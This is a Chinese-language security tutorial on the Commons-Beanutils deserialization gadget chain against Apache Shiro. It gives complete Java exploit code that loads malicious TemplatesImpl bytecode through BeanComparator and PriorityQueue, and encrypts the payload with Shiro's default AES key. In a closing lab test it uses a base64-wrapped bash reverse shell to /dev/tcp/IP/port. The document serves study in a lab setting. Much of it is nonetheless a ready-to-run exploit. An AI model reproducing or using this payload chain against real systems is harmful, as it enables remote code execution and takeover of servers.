Shiro无依赖链—Commons Beanutils 前言 前面学习了CC6在Shiro当中的应用,但是很多场景没有使用CC依赖,那么还有其他利用方式吗?那就是Commons Beanutils
!
Commons Beanutils是什么? Commons-Beanutils是Apache提供的一个用于操作JAVA bean的工具包。里面提供了各种各样的工具类,让我们可以很方便的对bean对象的属性进行各种操作。
JavaBean是什么? 在Java中,有很多class
的定义都符合这样的规范
若干private
实例字段;
通过public
方法来读写实例字段。
命名要符合规范,符合骆驼式命名法,比如说属性名为abc
,那么get
方法为public Type getAbc()
,set
方法为public void setAbc(Type value)
例如:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 public class Person { private String name; private int age; public Person (String name, int age) { this .name = name; this .age = age; } public String getName () { return name; } public void setName (String name) { this .name = name; } public int getAge () { return age; } public void setAge (int age) { this .age = age; } }
如果读写方法符合这种命名规范,那么这种class
被称为JavaBean
。
写一个简单的demo来调用一下getName()
1 2 3 4 5 6 7 8 import org.apache.commons.beanutils.PropertyUtils;public class BeanTest { public static void main (String[] args) throws Exception { Person person = new Person("Le1a" ,20 ); System.out.println(person.getName()); } }
但是这样写有一个弊端,因为每一个都要用这种函数调用的方式,在Commons-Beanutils
中提供了一种静态方法PropertyUtils#getProperty
,可以让使用者直接调用到任意JavaBean
对象中的getter
方法,这样就能相对动态的去执行。
这个方法,直接传入一个对象,然后获取这个对象的一个属性值,就会自动的去调用getName()方法。
这也就提供了动态执行代码的点,可能会产生安全问题。
利用链分析 我们下个断点调试一下,走到PropertyUtils#getProperty()
,这里它又调用了另一个对象的getProperty()
,我们继续跟进
跟进到了PropertyUtilsBean#getProperty()
,然后调用了这个getNestedProperty()
然后跟进到下面有一个判断,这里都不满足,所以最后进入这个getSimpleProperty
一直跟进到这里,来看一下我们传的是age,返回的就是set方法和get方法的名字,还返回了Bean的属性值的名字。
继续往下走,这里获取到一个Method
,也就是那个getAge()方法,我们继续跟进
然后下面出现了一个反射调用,对我们传递的对象,来调用一个符合JavaBean
格式的get方法,然后就走完了。
在CC3这条链中,TemplatesImpl
中我们提到了getOutputProperties()
方法
这个方法调用了newTransformer()
,他这个格式是符合JavaBean的格式,如果我们对一个TemplatesImpl
对象调用这个getOutputProperties()
方法,实际上也可以进行代码执行。这就找到了一个在CB下面的代码执行点,当o1是一个TemplatesImpl
对 象,而property
的值为outputProperties
时,将会自动调用getter,也就是TemplatesImpl#getOutputProperties()
方法,触发代码执行
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 package ShiroCB;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import org.apache.commons.beanutils.PropertyUtils;import java.lang.reflect.Field;import java.nio.file.Files;import java.nio.file.Paths;public class BeanTest { public static void main (String[] args) throws Exception { Person person = new Person("Le1a" ,20 ); TemplatesImpl templates = new TemplatesImpl(); Class tc = templates.getClass(); Field nameFiled = tc.getDeclaredField("_name" ); nameFiled.setAccessible(true ); nameFiled.set(templates,"aaaa" ); Field bytecodesField = tc.getDeclaredField("_bytecodes" ); bytecodesField.setAccessible(true ); Field tfactoryField = tc.getDeclaredField("_tfactory" ); tfactoryField.setAccessible(true ); tfactoryField.set(templates,new TransformerFactoryImpl()); byte [] code = Files.readAllBytes(Paths.get("D:\\Cc\\IntelliJ IDEA 2021.1\\Code\\out\\production\\Code\\ClassLoader\\Hacker.class" )); byte [][] codes = {code}; bytecodesField.set(templates,codes); PropertyUtils.getProperty(templates,"outputProperties" ); } }
这段代码就能成功执行Hacker
字节码文件里的代码了,前面直接照搬的CC3里面的,这里就成功调用了TemplatesImpl#getOutputProperties()
。如果PropertyUtils#getProperty
的属性值可控的话,就可以任意执行代码了
接下来就按照构造反序列化链的思路,去找getProperty()
的上层,找到了这里的BeanComparator#compare()
这个compare()
调用了这个getProperty()
,这里是可控的。这个方法传入两个对象,如果 this.property 为空,则直接比较这两个对象;如果 this.property 不 为空,则用PropertyUtils.getProperty
分别取这两个对象的 this.property 属性,比较属性的值。
来看一下谁调用了这里的compare()呢?
发现PriorityQueue#siftDownUsingComparator
调用了这个BeanComparator#compare()
继续往上查找哪里调用了这个PriorityQueue#siftDownUsingComparator()
然后找到了PriorityQueue#siftDown()
调用了PriorityQueue#siftDownUsingComparator()
,然后heapify()
又调用了siftDown()
最后PriorityQueue#readObject()
又调用了heapify()
,并且对queue
数组进行循环反序列化
完整的调用链:
构造利用链 首先还是创建TemplateImpl:
1 2 3 4 5 6 byte [] code = Files.readAllBytes(Paths.get("D:\\Cc\\IntelliJ IDEA 2021.1\\Code\\out\\production\\Code\\ClassLoader\\Hacker.class" ));byte [][] codes = {code};TemplatesImpl obj = new TemplatesImpl(); setFieldValue(obj, "_bytecodes" ,codes); setFieldValue(obj, "_name" , "aaaa" ); setFieldValue(obj, "_tfactory" , new TransformerFactoryImpl());
然后实例化BeanComparator
,BeanComparator 构造函数为空时,默认的 property 就是空:
1 final BeanComparator comparator = new BeanComparator();
然后用这个comparator实例化优先队列 PriorityQueue :
1 2 3 4 5 final BeanComparator comparator = new BeanComparator();final PriorityQueue<Object> queue = new PriorityQueue<Object>(2 , comparator);queue.add(1 ); queue.add(1 );
可见,我们添加了两个无害的可以比较的对象进队列中。 如果this.property
为空,则直接比较这两个对象。
这里实际上就是对两个1
进行排序,防止初始话的时候出错。后面我们再用反射将 property 的值设置成恶意的outputProperties
,用于触发TemplatesImpl#getOutputProperties()
将队列里的两个1中其中一个替换成恶意的 TemplateImpl 对象,另一个替换为随意的一个对象就行(当然也可以都替换为恶意的 TemplateImpl 对象),因为反序列化的时候,对queue
数组进行了循环序列化。
1 2 setFieldValue(comparator, "property" , "outputProperties" ); setFieldValue(queue, "queue" , new Object[]{obj,obj});
初步CommonsBeanutils1利用链 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 package ShiroCB;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import org.apache.commons.beanutils.BeanComparator;import java.io.*;import java.lang.reflect.Field;import java.nio.file.Files;import java.nio.file.Paths;import java.util.PriorityQueue;public class BeanTest { public static void main (String[] args) throws Exception { byte [] code = Files.readAllBytes(Paths.get("D:\\Cc\\IntelliJ IDEA 2021.1\\Code\\out\\production\\Code\\ClassLoader\\Hacker.class" )); byte [][] codes = {code}; TemplatesImpl obj = new TemplatesImpl(); setFieldValue(obj, "_bytecodes" ,codes); setFieldValue(obj, "_name" , "aaaa" ); setFieldValue(obj, "_tfactory" , new TransformerFactoryImpl()); final BeanComparator comparator = new BeanComparator(); final PriorityQueue<Object> queue = new PriorityQueue<Object>(2 , comparator); queue.add(1 ); queue.add(1 ); setFieldValue(comparator, "property" , "outputProperties" ); setFieldValue(queue, "queue" , new Object[]{obj, obj}); ByteArrayOutputStream barr = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(barr); oos.writeObject(queue); oos.close(); System.out.println(barr); ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray())); Object o = (Object)ois.readObject(); } public static void setFieldValue (Object obj, String fieldName, Object value) throws Exception { Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true ); field.set(obj, value); } }
使用CB链攻击Shiro 前面学习Shiro550的时候,用到的是TemplatesImpl
类改造的CC6来攻击的,但是这种情况必须依靠Commons-Collections
依赖,实际场景下,目标可能并没有安装Commons-Collections
,但是Shiro是需要依赖Commons-Beanutils
。这个时候shiro反序列化漏洞就可以使用CommonsBeanutils
链来攻击。
尝试直接用刚刚的POC来生成payload
去打Shiro
发现并没有弹出计算器,这是为什么呢?
原因是没找到 org.apache.commons.collections.comparators.ComparableComparator 类,从包名即可看出,这个类是来自于commons-collections。 commons-beanutils本来依赖于commons-collections,但是在Shiro中,它的commons-beanutils虽然包含了一部分commons-collections的类,但却不全。这也导致,正常使用Shiro的时候不需要依赖于 commons-collections,但反序列化利用的时候需要依赖于commons-collections。
我们看看哪里用到了ComparableComparator
类
BeanComparator
类中的有参构造器中调用了这个ComparableComparator
类。看到这里就蒙圈了,我们利用链调用的是无参构造啊!!
1 final BeanComparator comparator = new BeanComparator();
为什么这里会调用到有参构造去了呢?原因是因为无参构造方法里面写的this((String)null)
,那么相当于就会调用下面那个带参构造方法只不过property
为空,当没有显式传入Comparator
的情况下,则默认使用ComparableComparator
既然此时没有 ComparableComparator ,我们需要找到一个类来替换,它满足下面这几个条件:
实现 java.util.Comparator 接口
实现 java.io.Serializable 接口
Java、shiro或commons-beanutils自带,且兼容性强
通过IDEA的功能,我们找到一个CaseInsensitiveComparator
,这个CaseInsensitiveComparator
类是java.lang.String
类下的一个内部私有类,其实现了Comparator
和Serializable
,且位于Java的核心代码中,兼容性强,是一个完美替代品!
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 public static final Comparator<String> CASE_INSENSITIVE_ORDER = new CaseInsensitiveComparator();private static class CaseInsensitiveComparator implements Comparator <String >, java .io .Serializable { private static final long serialVersionUID = 8575799808933029326L ; public int compare (String s1, String s2) { int n1 = s1.length(); int n2 = s2.length(); int min = Math.min(n1, n2); for (int i = 0 ; i < min; i++) { char c1 = s1.charAt(i); char c2 = s2.charAt(i); if (c1 != c2) { c1 = Character.toUpperCase(c1); c2 = Character.toUpperCase(c2); if (c1 != c2) { c1 = Character.toLowerCase(c1); c2 = Character.toLowerCase(c2); if (c1 != c2) { return c1 - c2; } } } } return n1 - n2; } private Object readResolve () { return CASE_INSENSITIVE_ORDER; } }
我们通过 String.CASE_INSENSITIVE_ORDER 即可拿到上下文中的 CaseInsensitiveComparator 对象,用它来实例化 BeanComparator
1 final BeanComparator comparator = new BeanComparator(null ,String.CASE_INSENSITIVE_ORDER);
修改之后生成payload的时候报错了,逆天?!!!
原因是我们现在使用的是String.CASE_INSENSITIVE_ORDER
类,是一个String类型,而我们下面add()传入的是整型1
,所以改为字符类型的"1"
就解决了。
最后攻击Shiro的利用链 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 package ShiroCB;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import org.apache.commons.beanutils.BeanComparator;import org.apache.shiro.crypto.AesCipherService;import org.apache.shiro.util.ByteSource;import java.io.*;import java.lang.reflect.Field;import java.nio.file.Files;import java.nio.file.Paths;import java.util.Base64;import java.util.PriorityQueue;public class CBAttck { public static void main (String[] args) throws Exception { byte [] code = Files.readAllBytes(Paths.get("D:\\Cc\\IntelliJ IDEA 2021.1\\Code\\out\\production\\Code\\ClassLoader\\Hacker.class" )); byte [][] codes = {code}; TemplatesImpl obj = new TemplatesImpl(); setFieldValue(obj, "_bytecodes" ,codes); setFieldValue(obj, "_name" , "aaaa" ); setFieldValue(obj, "_tfactory" , new TransformerFactoryImpl()); BeanComparator comparator = new BeanComparator(null ,String.CASE_INSENSITIVE_ORDER); final PriorityQueue<Object> queue = new PriorityQueue<Object>(2 , comparator); queue.add("1" ); queue.add("1" ); setFieldValue(comparator, "property" , "outputProperties" ); setFieldValue(queue, "queue" , new Object[]{obj, obj}); ByteArrayOutputStream barr = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(barr); oos.writeObject(queue); oos.close(); byte [] payload= barr.toByteArray(); AesCipherService aes = new AesCipherService(); byte [] key = Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==" ); ByteSource finalpayload = aes.encrypt(payload,key); System.out.println(finalpayload.toString()); } public static void setFieldValue (Object obj, String fieldName, Object value) throws Exception { Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true ); field.set(obj, value); } }
最后成功弹出计算器。
靶场试验 vulfocus靶场开一个Shiro环境,然后把之前的恶意字节类中的calc.exe
命令改写为
1 bash -c {echo ,Base64编码}|{base64,-d}|{bash,-i}//Base64编码为bash -i >& /dev/tcp/IP/端口 0>&1 的base64编码
然后重新生成恶意的字节码文件,然后重新生成payload
成功反弹Shell!